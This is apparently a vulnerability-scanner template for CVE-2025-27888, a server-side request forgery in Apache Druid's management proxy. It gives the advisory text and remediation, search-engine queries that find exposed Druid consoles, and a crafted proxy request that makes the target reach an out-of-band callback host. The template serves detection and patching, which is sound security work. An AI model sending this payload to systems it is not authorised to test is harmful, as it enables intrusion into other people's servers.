id: CVE-2025-27888

info:
  name: Apache Druid - Server-Side Request Forgery
  author: xbow,DhiyaneshDK
  severity: high
  description: |
    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
  impact: |
    Authenticated attackers can exploit SSRF vulnerabilities through the management proxy to redirect requests to arbitrary servers, potentially enabling XSS, XSRF attacks, or accessing internal services.
  remediation: |
    Upgrade to Apache Druid version 31.0.2 or 32.0.1, or disable the management proxy to mitigate this vulnerability.
  reference:
    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
    - http://www.openwall.com/lists/oss-security/2025/03/19/7
  classification:
    epss-score: 0.02273
    epss-percentile: 0.84878
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: druid
    shodan-query: http.title:"apache druid"
    fofa-query: title="apache druid"
    google-query: intitle:"apache druid"
  tags: cve,cve2025,apache,druid,ssrf,oast,oss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/unified-console.html'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Apache Druid")'
        internal: true

  - raw:
      - |
        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4b0a00483046022100d3cce000390e6e03e8af05acc10e7e78285f8827b8161d0a5e5b285e58eed629022100e3cfff1289e3ec9a681ce919a30df63cc90a46399df870eb120cac8621b56419:922c64590222798bb761d5b6d8e72950